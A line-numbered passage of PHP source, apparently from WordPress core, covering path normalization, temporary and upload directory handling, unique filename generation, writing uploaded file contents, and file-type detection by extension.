2099 for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
2100 chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
2101 }
2102 }
2103
2104 return true;
2105 }
2106
2107 return false;
2108}
2109
2110/**
2111 * Tests if a given filesystem path is absolute.
2112 *
2113 * For example, '/foo/bar', or 'c:\windows'.
2114 *
2115 * @since 2.5.0
2116 *
2117 * @param string $path File path.
2118 * @return bool True if path is absolute, false is not absolute.
2119 */
2120function path_is_absolute( $path ) {
2121 /*
2122 * Check to see if the path is a stream and check to see if its an actual
2123 * path or file as realpath() does not support stream wrappers.
2124 */
2125 if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) {
2126 return true;
2127 }
2128
2129 /*
2130 * This is definitive if true but fails if $path does not exist or contains
2131 * a symbolic link.
2132 */
2133 if ( realpath( $path ) === $path ) {
2134 return true;
2135 }
2136
2137 if ( strlen( $path ) === 0 || '.' === $path[0] ) {
2138 return false;
2139 }
2140
2141 // Windows allows absolute paths like this.
2142 if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) {
2143 return true;
2144 }
2145
2146 // A path starting with / or \ is absolute; anything else is relative.
2147 return ( '/' === $path[0] || '\\' === $path[0] );
2148}
2149
2150/**
2151 * Joins two filesystem paths together.
2152 *
2153 * For example, 'give me $path relative to $base'. If the $path is absolute,
2154 * then it the full path is returned.
2155 *
2156 * @since 2.5.0
2157 *
2158 * @param string $base Base path.
2159 * @param string $path Path relative to $base.
2160 * @return string The path with the base or absolute path.
2161 */
2162function path_join( $base, $path ) {
2163 if ( path_is_absolute( $path ) ) {
2164 return $path;
2165 }
2166
2167 return rtrim( $base, '/' ) . '/' . $path;
2168}
2169
2170/**
2171 * Normalizes a filesystem path.
2172 *
2173 * On windows systems, replaces backslashes with forward slashes
2174 * and forces upper-case drive letters.
2175 * Allows for two leading slashes for Windows network shares, but
2176 * ensures that all other duplicate slashes are reduced to a single.
2177 *
2178 * @since 3.9.0
2179 * @since 4.4.0 Ensures upper-case drive letters on Windows systems.
2180 * @since 4.5.0 Allows for Windows network shares.
2181 * @since 4.9.7 Allows for PHP file wrappers.
2182 * @since 7.0.0 Uses a static cache to store normalized paths.
2183 *
2184 * @param string $path Path to normalize.
2185 * @return string Normalized path.
2186 */
2187function wp_normalize_path( $path ): string {
2188 $path = (string) $path;
2189
2190 static $cache = array();
2191 if ( isset( $cache[ $path ] ) ) {
2192 return $cache[ $path ];
2193 }
2194
2195 $original_path = $path;
2196 $wrapper = '';
2197
2198 if ( wp_is_stream( $path ) ) {
2199 list( $wrapper, $path ) = explode( '://', $path, 2 );
2200
2201 $wrapper .= '://';
2202 }
2203
2204 // Standardize all paths to use '/'.
2205 $path = str_replace( '\\', '/', $path );
2206
2207 // Replace multiple slashes down to a singular, allowing for network shares having two slashes.
2208 $path = (string) preg_replace( '|(?<=.)/+|', '/', $path );
2209
2210 // Windows paths should uppercase the drive letter.
2211 if ( ':' === substr( $path, 1, 1 ) ) {
2212 $path = ucfirst( $path );
2213 }
2214
2215 $cache[ $original_path ] = $wrapper . $path;
2216 return $cache[ $original_path ];
2217}
2218
2219/**
2220 * Determines a writable directory for temporary files.
2221 *
2222 * Function's preference is the return value of `sys_get_temp_dir()`,
2223 * followed by the `upload_tmp_dir` value from `php.ini`, followed by `WP_CONTENT_DIR`,
2224 * before finally defaulting to `/tmp/`.
2225 *
2226 * Note that `sys_get_temp_dir()` honors the `TMPDIR` environment variable.
2227 *
2228 * In the event that this function does not find a writable location,
2229 * it may be overridden by the `WP_TEMP_DIR` constant in your `wp-config.php` file.
2230 *
2231 * @since 2.5.0
2232 *
2233 * @return string Writable temporary directory.
2234 */
2235function get_temp_dir() {
2236 static $temp = '';
2237 if ( defined( 'WP_TEMP_DIR' ) ) {
2238 return trailingslashit( WP_TEMP_DIR );
2239 }
2240
2241 if ( $temp ) {
2242 return trailingslashit( $temp );
2243 }
2244
2245 if ( function_exists( 'sys_get_temp_dir' ) ) {
2246 $temp = sys_get_temp_dir();
2247 if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
2248 return trailingslashit( $temp );
2249 }
2250 }
2251
2252 $temp = ini_get( 'upload_tmp_dir' );
2253 if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
2254 return trailingslashit( $temp );
2255 }
2256
2257 $temp = WP_CONTENT_DIR . '/';
2258 if ( is_dir( $temp ) && wp_is_writable( $temp ) ) {
2259 return $temp;
2260 }
2261
2262 return '/tmp/';
2263}
2264
2265/**
2266 * Determines if a directory is writable.
2267 *
2268 * This function is used to work around certain ACL issues in PHP primarily
2269 * affecting Windows Servers.
2270 *
2271 * @since 3.6.0
2272 *
2273 * @see win_is_writable()
2274 *
2275 * @param string $path Path to check for write-ability.
2276 * @return bool Whether the path is writable.
2277 */
2278function wp_is_writable( $path ) {
2279 if ( 'Windows' === PHP_OS_FAMILY ) {
2280 return win_is_writable( $path );
2281 }
2282
2283 return @is_writable( $path );
2284}
2285
2286/**
2287 * Workaround for Windows bug in is_writable() function
2288 *
2289 * PHP has issues with Windows ACL's for determine if a
2290 * directory is writable or not, this works around them by
2291 * checking the ability to open files rather than relying
2292 * upon PHP to interpret the OS ACL.
2293 *
2294 * @since 2.8.0
2295 *
2296 * @see https://bugs.php.net/bug.php?id=27609
2297 * @see https://bugs.php.net/bug.php?id=30931
2298 *
2299 * @param string $path Windows path to check for write-ability.
2300 * @return bool Whether the path is writable.
2301 */
2302function win_is_writable( $path ) {
2303 if ( '/' === $path[ strlen( $path ) - 1 ] ) {
2304 // If it looks like a directory, check a random file within the directory.
2305 return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' );
2306 } elseif ( is_dir( $path ) ) {
2307 // If it's a directory (and not a file), check a random file within the directory.
2308 return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
2309 }
2310
2311 // Check tmp file for read/write capabilities.
2312 $should_delete_tmp_file = ! file_exists( $path );
2313
2314 $f = @fopen( $path, 'a' );
2315 if ( false === $f ) {
2316 return false;
2317 }
2318 fclose( $f );
2319
2320 if ( $should_delete_tmp_file ) {
2321 unlink( $path );
2322 }
2323
2324 return true;
2325}
2326
2327/**
2328 * Retrieves uploads directory information.
2329 *
2330 * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
2331 * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
2332 * when not uploading files.
2333 *
2334 * @since 4.5.0
2335 *
2336 * @see wp_upload_dir()
2337 *
2338 * @return array See wp_upload_dir() for description.
2339 */
2340function wp_get_upload_dir() {
2341 return wp_upload_dir( null, false );
2342}
2343
2344/**
2345 * Returns an array containing the current upload directory's path and URL.
2346 *
2347 * Checks the 'upload_path' option, which should be from the web root folder,
2348 * and if it isn't empty it will be used. If it is empty, then the path will be
2349 * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
2350 * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
2351 *
2352 * The upload URL path is set either by the 'upload_url_path' option or by using
2353 * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
2354 *
2355 * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
2356 * the administration settings panel), then the time will be used. The format
2357 * will be year first and then month.
2358 *
2359 * If the path couldn't be created, then an error will be returned with the key
2360 * 'error' containing the error message. The error suggests that the parent
2361 * directory is not writable by the server.
2362 *
2363 * @since 2.0.0
2364 * @uses _wp_upload_dir()
2365 *
2366 * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null.
2367 * @param bool $create_dir Optional. Whether to check and create the uploads directory.
2368 * Default true for backward compatibility.
2369 * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
2370 * @return array {
2371 * Array of information about the upload directory.
2372 *
2373 * @type string $path Base directory and subdirectory or full path to upload directory.
2374 * @type string $url Base URL and subdirectory or absolute URL to upload directory.
2375 * @type string $subdir Subdirectory if uploads use year/month folders option is on.
2376 * @type string $basedir Path without subdir.
2377 * @type string $baseurl URL path without subdir.
2378 * @type string|false $error False or error message.
2379 * }
2380 */
2381function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
2382 static $cache = array(), $tested_paths = array();
2383
2384 $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
2385
2386 if ( $refresh_cache || empty( $cache[ $key ] ) ) {
2387 $cache[ $key ] = _wp_upload_dir( $time );
2388 }
2389
2390 /**
2391 * Filters the uploads directory data.
2392 *
2393 * @since 2.0.0
2394 *
2395 * @param array $uploads {
2396 * Array of information about the upload directory.
2397 *
2398 * @type string $path Base directory and subdirectory or full path to upload directory.
2399 * @type string $url Base URL and subdirectory or absolute URL to upload directory.
2400 * @type string $subdir Subdirectory if uploads use year/month folders option is on.
2401 * @type string $basedir Path without subdir.
2402 * @type string $baseurl URL path without subdir.
2403 * @type string|false $error False or error message.
2404 * }
2405 */
2406 $uploads = apply_filters( 'upload_dir', $cache[ $key ] );
2407
2408 if ( $create_dir ) {
2409 $path = $uploads['path'];
2410
2411 if ( array_key_exists( $path, $tested_paths ) ) {
2412 $uploads['error'] = $tested_paths[ $path ];
2413 } else {
2414 if ( ! wp_mkdir_p( $path ) ) {
2415 if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) {
2416 $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
2417 } else {
2418 $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir'];
2419 }
2420
2421 $uploads['error'] = sprintf(
2422 /* translators: %s: Directory path. */
2423 __( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
2424 esc_html( $error_path )
2425 );
2426 }
2427
2428 $tested_paths[ $path ] = $uploads['error'];
2429 }
2430 }
2431
2432 return $uploads;
2433}
2434
2435/**
2436 * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
2437 *
2438 * @since 4.5.0
2439 * @access private
2440 *
2441 * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null.
2442 * @return array See wp_upload_dir()
2443 */
2444function _wp_upload_dir( $time = null ) {
2445 $siteurl = get_option( 'siteurl' );
2446 $upload_path = trim( get_option( 'upload_path' ) );
2447
2448 if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) {
2449 $dir = WP_CONTENT_DIR . '/uploads';
2450 } elseif ( ! str_starts_with( $upload_path, ABSPATH ) ) {
2451 // $dir is absolute, $upload_path is (maybe) relative to ABSPATH.
2452 $dir = path_join( ABSPATH, $upload_path );
2453 } else {
2454 $dir = $upload_path;
2455 }
2456
2457 $url = get_option( 'upload_url_path' );
2458 if ( ! $url ) {
2459 if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path === $dir ) ) {
2460 $url = WP_CONTENT_URL . '/uploads';
2461 } else {
2462 $url = trailingslashit( $siteurl ) . $upload_path;
2463 }
2464 }
2465
2466 /*
2467 * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
2468 * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
2469 */
2470 if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
2471 $dir = ABSPATH . UPLOADS;
2472 $url = trailingslashit( $siteurl ) . UPLOADS;
2473 }
2474
2475 // If multisite (and if not the main site in a post-MU network).
2476 if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
2477
2478 if ( ! get_site_option( 'ms_files_rewriting' ) ) {
2479 /*
2480 * If ms-files rewriting is disabled (networks created post-3.5), it is fairly
2481 * straightforward: Append sites/%d if we're not on the main site (for post-MU
2482 * networks). (The extra directory prevents a four-digit ID from conflicting with
2483 * a year-based directory for the main site. But if a MU-era network has disabled
2484 * ms-files rewriting manually, they don't need the extra directory, as they never
2485 * had wp-content/uploads for the main site.)
2486 */
2487
2488 if ( defined( 'MULTISITE' ) ) {
2489 $ms_dir = '/sites/' . get_current_blog_id();
2490 } else {
2491 $ms_dir = '/' . get_current_blog_id();
2492 }
2493
2494 $dir .= $ms_dir;
2495 $url .= $ms_dir;
2496
2497 } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
2498 /*
2499 * Handle the old-form ms-files.php rewriting if the network still has that enabled.
2500 * When ms-files rewriting is enabled, then we only listen to UPLOADS when:
2501 * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
2502 * there, and
2503 * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
2504 * the original blog ID.
2505 *
2506 * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
2507 * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
2508 * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
2509 * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
2510 */
2511
2512 if ( defined( 'BLOGUPLOADDIR' ) ) {
2513 $dir = untrailingslashit( BLOGUPLOADDIR );
2514 } else {
2515 $dir = ABSPATH . UPLOADS;
2516 }
2517 $url = trailingslashit( $siteurl ) . 'files';
2518 }
2519 }
2520
2521 $basedir = $dir;
2522 $baseurl = $url;
2523
2524 $subdir = '';
2525 if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
2526 // Generate the yearly and monthly directories.
2527 if ( ! $time ) {
2528 $time = current_time( 'mysql' );
2529 }
2530 $y = substr( $time, 0, 4 );
2531 $m = substr( $time, 5, 2 );
2532 $subdir = "/$y/$m";
2533 }
2534
2535 $dir .= $subdir;
2536 $url .= $subdir;
2537
2538 return array(
2539 'path' => $dir,
2540 'url' => $url,
2541 'subdir' => $subdir,
2542 'basedir' => $basedir,
2543 'baseurl' => $baseurl,
2544 'error' => false,
2545 );
2546}
2547
2548/**
2549 * Gets a filename that is sanitized and unique for the given directory.
2550 *
2551 * If the filename is not unique, then a number will be added to the filename
2552 * before the extension, and will continue adding numbers until the filename
2553 * is unique.
2554 *
2555 * The callback function allows the caller to use their own method to create
2556 * unique file names. If defined, the callback should take three arguments:
2557 * - directory, base filename, and extension - and return a unique filename.
2558 *
2559 * @since 2.5.0
2560 *
2561 * @param string $dir Directory.
2562 * @param string $filename File name.
2563 * @param callable $unique_filename_callback Callback. Default null.
2564 * @return string New filename, if given wasn't unique.
2565 */
2566function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
2567 // Sanitize the file name before we begin processing.
2568 $filename = sanitize_file_name( $filename );
2569
2570 // Initialize vars used in the wp_unique_filename filter.
2571 $number = '';
2572 $alt_filenames = array();
2573
2574 // Separate the filename into a name and extension.
2575 $ext = pathinfo( $filename, PATHINFO_EXTENSION );
2576 $name = pathinfo( $filename, PATHINFO_BASENAME );
2577
2578 if ( $ext ) {
2579 $ext = '.' . $ext;
2580 }
2581
2582 // Edge case: if file is named '.ext', treat as an empty name.
2583 if ( $name === $ext ) {
2584 $name = '';
2585 }
2586
2587 /*
2588 * Increment the file number until we have a unique file to save in $dir.
2589 * Use callback if supplied.
2590 */
2591 if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
2592 $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
2593 } else {
2594 $fname = pathinfo( $filename, PATHINFO_FILENAME );
2595
2596 // Always append a number to file names that can potentially match image sub-size file names.
2597 if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) {
2598 $number = 1;
2599
2600 // At this point the file name may not be unique. This is tested below and the $number is incremented.
2601 $filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename );
2602 }
2603
2604 /*
2605 * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext()
2606 * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here.
2607 */
2608 $file_type = wp_check_filetype( $filename );
2609 $mime_type = $file_type['type'];
2610
2611 $is_image = ( ! empty( $mime_type ) && str_starts_with( $mime_type, 'image/' ) );
2612 $upload_dir = wp_get_upload_dir();
2613 $lc_filename = null;
2614
2615 $lc_ext = strtolower( $ext );
2616 $_dir = trailingslashit( $dir );
2617
2618 /*
2619 * If the extension is uppercase add an alternate file name with lowercase extension.
2620 * Both need to be tested for uniqueness as the extension will be changed to lowercase
2621 * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9
2622 * where uppercase extensions were allowed but image sub-sizes were created with
2623 * lowercase extensions.
2624 */
2625 if ( $ext && $lc_ext !== $ext ) {
2626 $lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename );
2627 }
2628
2629 /*
2630 * Increment the number added to the file name if there are any files in $dir
2631 * whose names match one of the possible name variations.
2632 */
2633 while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) {
2634 $new_number = (int) $number + 1;
2635
2636 if ( $lc_filename ) {
2637 $lc_filename = str_replace(
2638 array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
2639 "-{$new_number}{$lc_ext}",
2640 $lc_filename
2641 );
2642 }
2643
2644 if ( '' === "{$number}{$ext}" ) {
2645 $filename = "{$filename}-{$new_number}";
2646 } else {
2647 $filename = str_replace(
2648 array( "-{$number}{$ext}", "{$number}{$ext}" ),
2649 "-{$new_number}{$ext}",
2650 $filename
2651 );
2652 }
2653
2654 $number = $new_number;
2655 }
2656
2657 // Change the extension to lowercase if needed.
2658 if ( $lc_filename ) {
2659 $filename = $lc_filename;
2660 }
2661
2662 /*
2663 * Prevent collisions with existing file names that contain dimension-like strings
2664 * (whether they are subsizes or originals uploaded prior to #42437).
2665 */
2666
2667 $files = array();
2668 $count = 10000;
2669
2670 // The (resized) image files would have name and extension, and will be in the uploads dir.
2671 if ( $name && $ext && @is_dir( $dir ) && str_contains( $dir, $upload_dir['basedir'] ) ) {
2672 /**
2673 * Filters the file list used for calculating a unique filename for a newly added file.
2674 *
2675 * Returning an array from the filter will effectively short-circuit retrieval
2676 * from the filesystem and return the passed value instead.
2677 *
2678 * @since 5.5.0
2679 *
2680 * @param array|null $files The list of files to use for filename comparisons.
2681 * Default null (to retrieve the list from the filesystem).
2682 * @param string $dir The directory for the new file.
2683 * @param string $filename The proposed filename for the new file.
2684 */
2685 $files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename );
2686
2687 if ( null === $files ) {
2688 // List of all files and directories contained in $dir.
2689 $files = @scandir( $dir );
2690 }
2691
2692 if ( ! empty( $files ) ) {
2693 // Remove "dot" dirs.
2694 $files = array_diff( $files, array( '.', '..' ) );
2695 }
2696
2697 if ( ! empty( $files ) ) {
2698 $count = count( $files );
2699
2700 /*
2701 * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check,
2702 * but string replacement for the changes.
2703 */
2704 $i = 0;
2705
2706 while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) {
2707 $new_number = (int) $number + 1;
2708
2709 // If $ext is uppercase it was replaced with the lowercase version after the previous loop.
2710 $filename = str_replace(
2711 array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
2712 "-{$new_number}{$lc_ext}",
2713 $filename
2714 );
2715
2716 $number = $new_number;
2717 ++$i;
2718 }
2719 }
2720 }
2721
2722 /*
2723 * Check if an image will be converted after uploading or some existing image sub-size file names may conflict
2724 * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes.
2725 */
2726 if ( $is_image ) {
2727 $output_formats = wp_get_image_editor_output_format( $_dir . $filename, $mime_type );
2728 $alt_types = array();
2729
2730 if ( ! empty( $output_formats[ $mime_type ] ) ) {
2731 // The image will be converted to this format/mime type.
2732 $alt_mime_type = $output_formats[ $mime_type ];
2733
2734 // Other types of images whose names may conflict if their sub-sizes are regenerated.
2735 $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) );
2736 $alt_types[] = $alt_mime_type;
2737 } elseif ( ! empty( $output_formats ) ) {
2738 $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) );
2739 }
2740
2741 // Remove duplicates and the original mime type. It will be added later if needed.
2742 $alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) );
2743
2744 foreach ( $alt_types as $alt_type ) {
2745 $alt_ext = wp_get_default_extension_for_mime_type( $alt_type );
2746
2747 if ( ! $alt_ext ) {
2748 continue;
2749 }
2750
2751 $alt_ext = ".{$alt_ext}";
2752 $alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename );
2753
2754 $alt_filenames[ $alt_ext ] = $alt_filename;
2755 }
2756
2757 if ( ! empty( $alt_filenames ) ) {
2758 /*
2759 * Add the original filename. It needs to be checked again
2760 * together with the alternate filenames when $number is incremented.
2761 */
2762 $alt_filenames[ $lc_ext ] = $filename;
2763
2764 // Ensure no infinite loop.
2765 $i = 0;
2766
2767 while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) {
2768 $new_number = (int) $number + 1;
2769
2770 foreach ( $alt_filenames as $alt_ext => $alt_filename ) {
2771 $alt_filenames[ $alt_ext ] = str_replace(
2772 array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ),
2773 "-{$new_number}{$alt_ext}",
2774 $alt_filename
2775 );
2776 }
2777
2778 /*
2779 * Also update the $number in (the output) $filename.
2780 * If the extension was uppercase it was already replaced with the lowercase version.
2781 */
2782 $filename = str_replace(
2783 array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ),
2784 "-{$new_number}{$lc_ext}",
2785 $filename
2786 );
2787
2788 $number = $new_number;
2789 ++$i;
2790 }
2791 }
2792 }
2793 }
2794
2795 /**
2796 * Filters the result when generating a unique file name.
2797 *
2798 * @since 4.5.0
2799 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added.
2800 *
2801 * @param string $filename Unique file name.
2802 * @param string $ext File extension. Example: ".png".
2803 * @param string $dir Directory path.
2804 * @param callable|null $unique_filename_callback Callback function that generates the unique file name.
2805 * @param string[] $alt_filenames Array of alternate file names that were checked for collisions.
2806 * @param int|string $number The highest number that was used to make the file name unique
2807 * or an empty string if unused.
2808 */
2809 return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number );
2810}
2811
2812/**
2813 * Helper function to test if each of an array of file names could conflict with existing files.
2814 *
2815 * @since 5.8.1
2816 * @access private
2817 *
2818 * @param string[] $filenames Array of file names to check.
2819 * @param string $dir The directory containing the files.
2820 * @param array $files An array of existing files in the directory. May be empty.
2821 * @return bool True if the tested file name could match an existing file, false otherwise.
2822 */
2823function _wp_check_alternate_file_names( $filenames, $dir, $files ) {
2824 foreach ( $filenames as $filename ) {
2825 if ( file_exists( $dir . $filename ) ) {
2826 return true;
2827 }
2828
2829 if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) {
2830 return true;
2831 }
2832 }
2833
2834 return false;
2835}
2836
2837/**
2838 * Helper function to check if a file name could match an existing image sub-size file name.
2839 *
2840 * @since 5.3.1
2841 * @access private
2842 *
2843 * @param string $filename The file name to check.
2844 * @param array $files An array of existing files in the directory.
2845 * @return bool True if the tested file name could match an existing file, false otherwise.
2846 */
2847function _wp_check_existing_file_names( $filename, $files ) {
2848 $fname = pathinfo( $filename, PATHINFO_FILENAME );
2849 $ext = pathinfo( $filename, PATHINFO_EXTENSION );
2850
2851 // Edge case, file names like `.ext`.
2852 if ( empty( $fname ) ) {
2853 return false;
2854 }
2855
2856 if ( $ext ) {
2857 $ext = ".$ext";
2858 }
2859
2860 $regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i';
2861
2862 foreach ( $files as $file ) {
2863 if ( preg_match( $regex, $file ) ) {
2864 return true;
2865 }
2866 }
2867
2868 return false;
2869}
2870
2871/**
2872 * Creates a file in the upload folder with given content.
2873 *
2874 * If there is an error, then the key 'error' will exist with the error message.
2875 * If success, then the key 'file' will have the unique file path, the 'url' key
2876 * will have the link to the new file. and the 'error' key will be set to false.
2877 *
2878 * This function will not move an uploaded file to the upload folder. It will
2879 * create a new file with the content in $bits parameter. If you move the upload
2880 * file, read the content of the uploaded file, and then you can give the
2881 * filename and content to this function, which will add it to the upload
2882 * folder.
2883 *
2884 * The permissions will be set on the new file automatically by this function.
2885 *
2886 * @since 2.0.0
2887 *
2888 * @param string $name Filename.
2889 * @param null|string $deprecated Not used. Set to null.
2890 * @param string $bits File content
2891 * @param string|null $time Optional. Time formatted in 'yyyy/mm'. Default null.
2892 * @return array {
2893 * Information about the newly-uploaded file.
2894 *
2895 * @type string $file Filename of the newly-uploaded file.
2896 * @type string $url URL of the uploaded file.
2897 * @type string $type File type.
2898 * @type string|false $error Error message, if there has been an error.
2899 * }
2900 */
2901function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
2902 if ( ! empty( $deprecated ) ) {
2903 _deprecated_argument( __FUNCTION__, '2.0.0' );
2904 }
2905
2906 if ( empty( $name ) ) {
2907 return array( 'error' => __( 'Empty filename' ) );
2908 }
2909
2910 $wp_filetype = wp_check_filetype( $name );
2911 if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) {
2912 return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) );
2913 }
2914
2915 $upload = wp_upload_dir( $time );
2916
2917 if ( false !== $upload['error'] ) {
2918 return $upload;
2919 }
2920
2921 /**
2922 * Filters whether to treat the upload bits as an error.
2923 *
2924 * Returning a non-array from the filter will effectively short-circuit preparing the upload bits
2925 * and return that value instead. An error message should be returned as a string.
2926 *
2927 * @since 3.0.0
2928 *
2929 * @param array|string $upload_bits_error An array of upload bits data, or error message to return.
2930 */
2931 $upload_bits_error = apply_filters(
2932 'wp_upload_bits',
2933 array(
2934 'name' => $name,
2935 'bits' => $bits,
2936 'time' => $time,
2937 )
2938 );
2939 if ( ! is_array( $upload_bits_error ) ) {
2940 $upload['error'] = $upload_bits_error;
2941 return $upload;
2942 }
2943
2944 $filename = wp_unique_filename( $upload['path'], $name );
2945
2946 $new_file = $upload['path'] . "/$filename";
2947 if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
2948 if ( str_starts_with( $upload['basedir'], ABSPATH ) ) {
2949 $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
2950 } else {
2951 $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir'];
2952 }
2953
2954 $message = sprintf(
2955 /* translators: %s: Directory path. */
2956 __( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
2957 $error_path
2958 );
2959 return array( 'error' => $message );
2960 }
2961
2962 $ifp = @fopen( $new_file, 'wb' );
2963 if ( ! $ifp ) {
2964 return array(
2965 /* translators: %s: File name. */
2966 'error' => sprintf( __( 'Could not write file %s' ), $new_file ),
2967 );
2968 }
2969
2970 fwrite( $ifp, $bits );
2971 fclose( $ifp );
2972 clearstatcache();
2973
2974 // Set correct file permissions.
2975 $stat = @ stat( dirname( $new_file ) );
2976 $perms = $stat['mode'] & 0007777;
2977 $perms = $perms & 0000666;
2978 chmod( $new_file, $perms );
2979 clearstatcache();
2980
2981 // Compute the URL.
2982 $url = $upload['url'] . "/$filename";
2983
2984 if ( is_multisite() ) {
2985 clean_dirsize_cache( $new_file );
2986 }
2987
2988 /** This filter is documented in wp-admin/includes/file.php */
2989 return apply_filters(
2990 'wp_handle_upload',
2991 array(
2992 'file' => $new_file,
2993 'url' => $url,
2994 'type' => $wp_filetype['type'],
2995 'error' => false,
2996 ),
2997 'sideload'
2998 );
2999}
3000
3001/**
3002 * Retrieves the file type based on the extension name.
3003 *
3004 * @since 2.5.0
3005 *
3006 * @param string $ext The extension to search.
3007 * @return string|void The file type, example: audio, video, document, spreadsheet, etc.
3008 */
3009function wp_ext2type( $ext ) {
3010 $ext = strtolower( $ext );
3011
3012 $ext2type = wp_get_ext_types();
3013 foreach ( $ext2type as $type => $exts ) {
3014 if ( in_array( $ext, $exts, true ) ) {
3015 return $type;
3016 }
3017 }
3018}
3019
3020/**
3021 * Returns the first matched extension for the mime type, as mapped from wp_get_mime_types().
3022 *
3023 * @since 5.8.1
3024 *
3025 * @param string $mime_type The mime type to search.
3026 * @return string|false The first matching file extension, or false if no extensions are found
3027 * for the given mime type.
3028 */
3029function wp_get_default_extension_for_mime_type( $mime_type ) {
3030 $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) );
3031
3032 if ( empty( $extensions[0] ) ) {
3033 return false;
3034 }
3035
3036 return $extensions[0];
3037}
3038
3039/**
3040 * Retrieves the file type from the file name.
3041 *
3042 * You can optionally define the mime array, if needed.
3043 *
3044 * @since 2.0.4
3045 *
3046 * @param string $filename File name or path.
3047 * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex.
3048 * Defaults to the result of get_allowed_mime_types().
3049 * @return array {
3050 * Values for the extension and mime type.
3051 *
3052 * @type string|false $ext File extension, or false if the file doesn't match a mime type.
3053 * @type string|false $type File mime type, or false if the file doesn't match a mime type.
3054 * }
3055 */
3056function wp_check_filetype( $filename, $mimes = null ) {
3057 if ( empty( $mimes ) ) {
3058 $mimes = get_allowed_mime_types();
3059 }
3060 $type = false;
3061 $ext = false;
3062
3063 foreach ( $mimes as $ext_preg => $mime_match ) {
3064 $ext_preg = '!\.(' . $ext_preg . ')$!i';
3065 if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
3066 $type = $mime_match;
3067 $ext = $ext_matches[1];
3068 break;
3069 }
3070 }
3071
3072 return compact( 'ext', 'type' );
3073}
3074
3075/**
3076 * Attempts to determine the real file type of a file.
3077 *
3078 * If unable to, the file name extension will be used to determine type.
3079 *
3080 * If it's determined that the extension does not match the file's real type,
